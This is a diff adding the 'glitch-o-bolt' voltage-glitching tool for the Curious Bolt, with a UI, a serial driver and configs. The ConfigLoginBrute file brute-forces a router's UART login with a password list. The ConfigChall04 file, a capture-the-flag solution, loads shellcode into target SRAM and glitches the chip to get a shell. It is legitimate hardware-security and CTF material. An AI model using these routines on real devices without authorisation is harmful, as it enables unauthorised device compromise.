+                        yield Static("file:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="config_file_input",
+                            name="config_file_input",
+                            value=str(functions.get_config_value("conFile"))
+                        )
+                    with Horizontal(classes="onerow"):
+                        yield Button("save", classes="btn_save", id="save_config", name="save_config")
+
+            yield Static("glitch-o-bolt v2.0", classes="program_name")
+            yield Static(" ")  # Show blank space
+            
+            for name in control_names:
+                with Horizontal(classes="control_row"):
+                    yield Static(f"{name}:", classes="control_label")
+                    for amount in [-100, -10, -1]:
+                        yield Button(str(amount), classes=f"btn btn{amount}", name=f"change_val-{name}_{amount}")
+
+                    yield Input(
+                        classes="control_input",
+                        value=str(functions.get_config_value(name)),  
+                        type="integer",
+                        id=f"{name}_input"  # Use `id` instead of `name`
+                    )
+                    yield Button("save", classes="btn_save", name=f"save_val-{name}_save")
+
+                    for amount in [1, 10, 100]:
+                        yield Button(f"+{amount}", classes=f"btn btn-{amount}",  name=f"change_val-{name}_{amount}")
+
+            with Horizontal(classes="top_right"):
+                with Vertical(classes="switch_box") as switch_box:
+                    #yield Static("glitch", classes="switch_title")
+                    yield Button("glitch", classes="btn_glitch", name=f"btn_glitch")
+                    yield Switch(classes="glitch-switch", id="glitch-switch", animate=False)
+
+                # Create and store DataTable for later updates
+                self.status_box = DataTable(classes="top_box", name="status_box")
+                self.status_box.border_title = "status"
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.show_header = False
+                self.status_box.show_cursor = False
+
+                self.status_box.add_columns("Attribute", "Value")
+
+                # Add rows for config values
+                self.status_box.add_row(" length: ", str(functions.get_config_value("length")), key="row1")
+                self.status_box.add_row(" repeat: ", str(functions.get_config_value("repeat")), key="row2")
+                self.status_box.add_row("  delay: ", str(functions.get_config_value("delay")), key="row3")
+                self.status_box.add_row("elapsed: ", str(functions.get_glitch_elapsed()), key="row4")
+
+                yield self.status_box  # Yield the stored DataTable
+        
+        with Horizontal(classes="main_section"):
+            with Vertical(classes="left_sidebar"):
+                sidebar_content = Vertical(classes="sidebar_triggers_content")
+                sidebar_content.border_title = "triggers"
+                
+                with sidebar_content:
+                    with Grid(classes="sidebar_triggers"):                  
+                        # Add rows with switches
+                        functions.ensure_triggers_exist()
+                        for i in range(8):
+                            yield Static(f"{i} -")
+                            yield Static(f"{functions.get_trigger_string(i)}", id=f"trigger_symbol_{i}", classes="sidebar_trigger_string")
+                            yield Switch(
+                                classes="trigger-switch sidebar_trigger_switch",
+                                value=functions.get_trigger_value(i),
+                                animate=False,
+                                id=f"trigger_switch_{i}"
+                            )
+                            yield Button("^v-", classes="btn_toggle_1", name=f"toggle_trigger-{i}")
+
+                
+                if hasattr(config, "conditions") and config.conditions:
+                    sidebar_content2 = Vertical(classes="sidebar_conditions_content")
+                    sidebar_content2.border_title = "conditions"
+                    sidebar_content2.styles.height = len(config.conditions) + 1
+
+                    with sidebar_content2:
+                        with Grid(classes="sidebar_conditions"):
+                            for i in range(len(config.conditions)):
+                                yield Static(f"{functions.get_condition_string(i)[:5]} ")
+                                
+                                if config.conditions[i][2] != "":
+                                    yield Switch(
+                                        id=f"condition_switch_{i}",
+                                        classes="condition-switch sidebar_trigger_switch",  # Added specific class
+                                        value=functions.get_condition_value(i),
+                                        animate=False
+                                    )
+                                else:
+                                    yield Static(" ")
+                                    
+                                yield Button("run", classes="btn_toggle_1", name=f"custom_function-{i}")
+                sidebar_content3 = Vertical(classes="sidebar_settings_content")
+                sidebar_content3.border_title = "misc"
+                with sidebar_content3:
+                    with Grid(classes="sidebar_settings_switches"):                  
+                        # Add rows with switches
+                        yield Static(f"uart")
+                        yield Switch(classes="sidebar_trigger_switch", value=False, animate=False, id="uart_switch")
+
+                        yield Static(f"logging")
+                        yield Switch(classes="logging-switch sidebar_trigger_switch", value=False, animate=False)
+
+                    # Centre the exit button
+                    with Vertical(classes="centre_settings_buttons"):
+                        yield Button("clear main", classes="btn_settings", name="clear_button")
+                    with Vertical(classes="centre_settings_buttons"):    
+                        yield Button("exit", classes="btn_settings", name="exit_button")
+
+
+            global text_area  # Use global reference
+            with Vertical(id="main_content", classes="main_content") as main_content:
+                port = str(functions.get_config_value("serial_port"))
+                baud = str(functions.get_config_value("baud_rate"))
+
+                if functions.get_config_value("log_time") == 0:
+                    main_content.border_title = f"{port} {baud}"
+                else:
+                    time = str(functions.get_config_value("log_time"))
+                    main_content.border_title = f"{port} {baud} \\[{time}.log]"
+
+                # Use Log() widget instead of TextArea for scrollable content
+                functions.text_area = Log(classes="scrollable_log")
+                yield functions.text_area  # Make it accessible later
+                
+                with Horizontal(classes="input_container") as input_row:
+                    yield Static("$> ", classes="input_prompt")
+                    self.input_field = Input(classes="input_area", placeholder="send to uart", id="command_input" )  # Store reference
+                    yield self.input_field
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument("-c", "--config", default="config.py", help="Path to config file")
+    args = parser.parse_args()
+
+    if not os.path.exists(args.config):
+        print(f"Config file '{args.config}' not found. Creating an empty one...")
+        with open(args.config, "w") as f:
+            pass  # Creates a blank file
+
+    load_config(args.config)
+    import config
+    import functions
+    config.CONFILE = args.config
+    functions.set_config(config)
+
+    app = LayoutApp()
+    set_app_instance(app)  # Pass the app instance to config
+    app.run()
\ No newline at end of file
diff --git a/img/main_tagged.png b/img/main_tagged.png
new file mode 100644
index 0000000..b703c0d
--- /dev/null
+++ b/img/main_tagged.png
Binary files differ
diff --git a/scope.py b/scope.py
new file mode 100644
index 0000000..c6b6652
--- /dev/null
+++ b/scope.py
@@ -0,0 +1,328 @@
+import logging
+import serial
+from serial.tools.list_ports import comports
+from typing import Union, List
+
+class ADCSettings():
+    def __init__(self, dev:serial) -> None:
+        self._dev = dev
+        self._clk_freq = 25000000
+        self._delay = 0
+
+    @property
+    def clk_freq(self) -> int:
+        """
+        Get ADC CLK Frequency
+        """
+        return self._clk_freq
+    
+    @clk_freq.setter
+    def clk_freq(self, freq:int) -> None:
+        """
+        Set ADC CLK Frequency, valid between 0.5kHz and 31.25MHz
+        """
+        BASE_CLK = 250000000
+        pio_freq = freq*4
+        divider = BASE_CLK/pio_freq
+        integer = int(divider)
+        frac = int((divider-integer)*256)
+        if frac == 256:
+            frac = 0
+            integer += 1
+        self._dev.write(f":ADC:PLL {integer},{frac}\n".encode("ascii"))
+        self._clk_freq = BASE_CLK/(integer+frac/256)/4
+    
+    @property
+    def delay(self) -> int:
+        """
+        Get delay between trigger and start of sampling in cycles (8.3ns)
+        """
+        return self._delay
+    
+    @delay.setter
+    def delay(self, delay) -> None:
+        """
+        Set delay between trigger and start of sampling in cycles (8.3ns)
+        """
+        self._delay = delay
+        self._dev.write(f":ADC:DELAY {int(delay)}\n".encode("ascii"))
+
+class GlitchSettings():
+    def __init__(self, dev:serial) -> None:
+        self._dev = dev
+        self._offset = 10
+        self._repeat = 10
+
+    @property
+    def ext_offset(self) -> int:
+        """
+        Delay between trigger and start of glitch in cycles (8.3ns)
+        """
+        return self._offset
+    
+    @ext_offset.setter
+    def ext_offset(self, offset:int) -> None:
+        """
+        Set delay between trigger and start of glitch in cycles (8.3ns)
+        """
+        self._dev.write(f":GLITCH:DELAY {int(offset)}\n".encode("ascii"))
+        self._offset = offset
+    
+    @property
+    def repeat(self) -> int:
+        """Width of glitch in cycles (approx = 8.3 ns * width)"""
+        return self._repeat
+
+    @repeat.setter
+    def repeat(self, width:int) -> None:
+        """
+        Set width of glitch in cycles (8.3ns)
+        """
+        self._dev.write(f":GLITCH:LEN {int(width)}\n".encode("ascii"))
+        self._repeat = width
+
+class GPIOSettings():
+    def __init__(self, dev:serial) -> None:
+        self.gpio = []
+        for i in range(0, 4):
+            self.gpio.append(list())
+        self.dev = dev
+        self.MAX_CHANGES = 255
+        self.MAX_DELAY = 2147483647
+        
+    def add(self, pin:int, state:bool, delay:int=None, seconds:float=None) -> None:
+        """
+        Add state change to gpio
+
+        Arguments
+        ---------
+        pin : int
+            Which pin to add state change to, [0,3]
+        state : bool
+            What the state of the pin should be
+        delay : int
+            Number of cycles delay after state change, each cycle is 8.3ns
+        seconds : float
+            Seconds of delay after state change if delay is not provided
+
+        Returns
+        -------
+        None        
+        """
+        if pin < 0 or pin > 3:
+            raise ValueError("Pin must be between 0 and 3")
+        
+        if len(self.gpio[pin]) >= self.MAX_CHANGES:
+            raise ValueError("Pin reached max state changes")
+
+        if delay is None:
+            if seconds is None:
+                raise ValueError("delay or seconds must be provided")
+            delay = int(seconds*100000000)
+
+        if delay > self.MAX_DELAY:
+            raise ValueError("delay exceeds maximum")
+        
+        self.gpio[pin].append((delay << 1) | state)
+    
+    def reset(self) -> None:
+        """
+        Reset all GPIO state changes
+
+        Arguments
+        ---------
+        None
+
+        Returns
+        -------
+        None
+        """
+        self.dev.write(b":GPIO:RESET\n")
+        for i in range(0, 4):
+            self.gpio[i].clear()
+
+    def upload(self) -> None:
+        """
+        Upload GPIO changes to device
+
+        Arguments
+        ---------
+        None
+
+        Returns
+        -------
+        None
+        """
+        self.dev.write(b":GPIO:RESET\n")
+        for i in range(0, 4):
+            for item in self.gpio[i]:
+                self.dev.write(f":GPIO:ADD {i},{item}\n".encode("ascii"))
+    
+
+class Scope():
+    RISING_EDGE = 0
+    FALLING_EDGE = 1
+
+    def __init__(self, port=None) -> None:
+        if port is None:
+            ports = comports()
+            matches = [p.device for p in ports if p.interface == "Curious Bolt API"]
+            if len(matches) != 1:
+                matches = [p.device for p in ports if p.product == "Curious Bolt"]
+                matches.sort()
+                matches.reverse()
+                if len(matches) != 2:
+                    raise IOError('Curious Bolt device not found. Please check if it\'s connected, and pass its port explicitly if it is.')
+            port = matches[0]
+
+        self._port = port
+        self._dev = serial.Serial(port, 115200*10, timeout=1.0)
+        self._dev.reset_input_buffer()
+        self._dev.write(b":VERSION?\n")
+        data = self._dev.readline().strip()
+        if data is None or data == b"":
+            raise ValueError("Unable to connect")
+        print(f"Connected to version: {data.decode('ascii')}")
+        self.adc = ADCSettings(self._dev)
+        self.glitch = GlitchSettings(self._dev)
+        self.io = GPIOSettings(self._dev)
+
+    def arm(self, pin:int=0, edge:int=RISING_EDGE) -> None:
+        """
+        Arms the glitch/gpio/adc based on trigger pin
+
+        Arguments
+        ---------
+        pin : int
+            Which pin to use for trigger [0:7]
+        edge : int
+            On what edge to trigger can be RISING_EDGE or FALLING_EDGE
+
+        Returns
+        -------
+        None
+        """
+        if pin < 0 or pin > 7:
+            raise ValueError("Pin invalid")
+        
+        if edge != self.RISING_EDGE and edge != self.FALLING_EDGE:
+            raise ValueError("Edge invalid")
+
+        self._dev.write(f":TRIGGER:PIN {pin},{edge}\n".encode("ascii"))
+
+    def trigger(self) -> None:
+        """
+        Immediately trigger the glitch/gpio/adc
+
+        Arguments
+        ---------
+        None
+
+        Returns
+        -------
+        None
+        """
+        self._dev.write(b":TRIGGER:NOW\n")
+    
+    def default_setup(self) -> None:
+        """
+        Load some safe defaults into settings
+        """
+        self.glitch.repeat = 10
+        self.glitch.ext_offset = 0
+        self.adc.delay = 0
+        self.adc.clk_freq = 10000000
+        self.io.reset()
+
+    def con(self) -> None:
+        """
+        Connect to device if serial port is not open
+        """
+        if not self._dev.is_open:
+            self._dev.open()
+
+    def dis(self) -> None:
+        """
+        Disconnect from serial port
+        """
+        self._dev.close()
+
+    def get_last_trace(self, as_int:bool=False) -> Union[List[int], List[float]]:
+        """
+        Returns the latest captured data from ADC
+
+        Arguments
+        ---------
+        as_int : bool
+            Returns the data as raw 10bit value from the adc
+        
+        Returns
+        -------
+        data : list<int>
+        
+        """
+        self._dev.reset_input_buffer() #Clear any data
+        self._dev.write(b":ADC:DATA?\n")
+
+        data = self._dev.readline()
+        if data is None:
+            return []
+        data = data.decode("ascii").strip()
+        if "ERR" in data:
+            logging.warning(f"Received: {data}")
+            return []
+        data = data.split(",")
+        data = [x for x in data if x != '']
+        if as_int:
+            return [int(x) for x in data]
+        volt_per_step = 2 / 10 / 1024  # 2V pk-pk, 10x amplified from source, in 10-bit ADC
+        return [(float(x)-512)*volt_per_step for x in data]
+
+    def plot_last_trace(self, continuous=False):
+        try:
+            import matplotlib.pyplot as plt 
+        except ImportError:
+            print("Dependencies missing, please install python package matplotlib")
+            return
+        plt.ion()
+        fig = plt.figure()
+        ax = fig.add_subplot(111)
+        ax.set_xlabel("Time since trigger (us)")
+        ax.set_ylabel("Voltage difference (mV)")
+        us_per_measurement = 1e6 / self.adc.clk_freq
+        line, = ax.plot([float(x) * us_per_measurement for x in range(50000)], [0] * 50000, 'b-')
+
+        while True:
+            try:
+                res = self.get_last_trace()
+                if len(res) != 50000:
+                    print(f"Got {len(res)} entries, skipping")
+                    if continuous:
+                        continue
+                    else:
+                        break
+                trace = [x*1000 for x in res]
+                line.set_ydata(trace)
+                ax.relim()
+                ax.autoscale_view()
+                fig.canvas.draw()
+                fig.canvas.flush_events()
+                if continuous:
+                    self.trigger()
+                    continue
+                else:
+                    plt.show()
+                    break
+            except KeyboardInterrupt:
+                break
+
+    def update(self):
+        self._dev.write(b":BOOTLOADER\n")
+    
+
+
+if __name__ == "__main__":
+    s = Scope()
+    s.default_setup()
+    s.trigger()
+    s.plot_last_trace(continuous=True)
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/ConfigGlitchBrute.py b/ConfigGlitchBrute.py
new file mode 100644
index 0000000..237f2ec
--- /dev/null
+++ b/ConfigGlitchBrute.py
@@ -0,0 +1,132 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 1
+REPEAT = 1
+DELAY = 1
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["pt1", True, "Hold one of", "start_chal_02"], # requires bolt output gpio pin 0 -> challenge board chall 2 button
+    ["pt2", True, "Starting challenge 2", "glitched_too_far"],
+    ["std", True, "1000000", "perform_glitch"]
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
+    #functions.execute_condition_action("glitched_too_far")
+
+increment_delay = True
+increment_length = True
+inc_delay_amount = 100
+inc_repeat_amount = 100
+inc_length_amount = 100  
+
+def perform_glitch():
+    global increment_delay, increment_length
+    global inc_delay_aamount, inc_repeat_amount, inc_length_amount
+    
+    
+    if increment_delay:
+        to_increment = "delay"
+        increment_amount = inc_delay_amount
+        increment_delay = False
+    else:
+        if increment_length:
+            to_increment = "length"
+            increment_amount = inc_length_amount
+            increment_length = False
+            increment_delay = True
+        else:
+            to_increment = "repeat"
+            increment_amount = inc_repeat_amount
+            increment_length = True
+            increment_delay = True
+    
+    current_val = functions.get_config_value(to_increment)
+    new_val = current_val + increment_amount
+    functions.set_config_value(to_increment, new_val)
+
+    functions.add_text(f"[auto] incrementing: {to_increment}")
+    
+    Len = functions.get_config_value("length")
+    Rep = functions.get_config_value("repeat")
+    Del = functions.get_config_value("delay")
+    functions.start_glitch(Len, Rep, Del)
+    
+def glitched_too_far():
+    global increment_delay, increment_length
+    global inc_delay_amount, inc_repeat_amount, inc_length_amount
+    
+    # Determine which value to decrement based on current state
+    if increment_delay:
+        if increment_length:
+            to_decrement = "repeat"
+            current_inc_amount = inc_repeat_amount
+        else:
+            to_decrement = "length"
+            current_inc_amount = inc_length_amount
+    else:
+        to_decrement = "delay"
+        current_inc_amount = inc_delay_amount
+    
+    # Get current value and decrement it
+    current_val = functions.get_config_value(to_decrement)
+    new_val = current_val - current_inc_amount 
+    functions.set_config_value(to_decrement, new_val)
+    
+    # Update the increment amount for next time
+    if current_inc_amount == 100:
+        new_inc_amount = 10
+    elif current_inc_amount == 10:
+        new_inc_amount = 1
+    else:
+        new_inc_amount = current_inc_amount  # keep as is if not 100 or 10
+    
+    # Update the correct increment amount variable
+    if to_decrement == "delay":
+        inc_delay_amount = new_inc_amount
+    elif to_decrement == "length":
+        inc_length_amount = new_inc_amount
+    elif to_decrement == "repeat":
+        inc_repeat_amount = new_inc_amount
+
+    functions.add_text(f"[auto] decrementing: {to_decrement}")
\ No newline at end of file
diff --git a/ConfigLoginBrute.py b/ConfigLoginBrute.py
new file mode 100644
index 0000000..c5328e9
--- /dev/null
+++ b/ConfigLoginBrute.py
@@ -0,0 +1,73 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyACM3"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["-", False], #0
+    ["-", False], #1
+    ["-", False], #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["user", False, "Router login:", "send_username"],
+    ["pass", False, "Password", "send_password"],
+    ["enter", False, "press Enter", "send_return"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def send_username():
+    functions.send_uart_message("root")  
+    functions.add_text("[auto] $> root")    
+
+# uncomment the following to use a password list!
+#with open("passwords.txt", "r") as f:
+#    password_list = [line.strip() for line in f if line.strip()]
+
+password_list = ["root", "password", "123456", "qwerty", "admin", "letmein"]
+current_password_index = 0
+
+def send_password():
+    global password_list, current_password_index
+    
+    passCount = len(password_list)
+    # Get the current password
+    password = password_list[current_password_index]
+    
+    # Send the password and update UI
+    functions.send_uart_message(password)  
+    functions.add_text(f"[pass {current_password_index} / {passCount}] $> {password}")
+    # Move to the next password (wrap around if at end of list)
+    current_password_index = (current_password_index + 1) % len(password_list)
+
+def send_return():
+    functions.send_uart_message(" ")    
\ No newline at end of file
diff --git a/README.md b/README.md
index 0303a74..8cfacef 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,48 @@
 glitch-o-bolt
 ===============
 
-A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt"
\ No newline at end of file
+A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt".
+
+Written in python3, requiring "textual"
+
+![glitch-o-bolt main screen](img/main_tagged.png)
+
+1. **UART** - Device to use and Baud rate
+2. **Config** - Config file in use
+3. **Glitch Settings** - Lengths and offsets to use with the bolt
+4. **Glitcher** - Button to send single glitch or toggle to continuously glitch
+5. **Status** - If glitch toggle is on; displays current settings and time elapsed
+6. **Triggers** - Pull up / down pins and toggle enabled or disabled
+7. **Conditions** - Custom toggles and buttons from the config file in use
+8. **Misc** - Enabe/disable UART and logging, clear the main window, and exit the program
+9. **Main Screen** - Where the UART output is displayed
+
+---
+
+## Running
+
+running this is super simple:
+
+```
+$> python3 glitch-o-bolt.py
+```
+
+use the **"-c"** flag to specify a config file. eg.
+
+```
+$> python3 glitch-o-bolt.py -c ConfigBaudBrute.py
+```
+
+If no config file is specified it will automatically try to use "config.py" or create it if it doesnt exist.
+
+---
+
+## Configs Included
+
+- **ConfigDemoAll** - Example to demo config file capabilities and values that can be set
+- **ConfigBaudBrute** - Example to determine baud rate for UART
+- **ConfigGlitchBrute** - Example to automatically find glitching lengths and offsets
+- **ConfigLoginBrute** - Example to bruteforce a UART login using a dictionary attack
+- **ConfigChall02** - Curious Bolt Level 1, Challenge 2 Solution
+- **ConfigChall03** - Curious Bolt Level 1, Challenge 3 Solution
+- **ConfigChall04** - Curious Bolt Level 1, Challenge 4 Solution
\ No newline at end of file
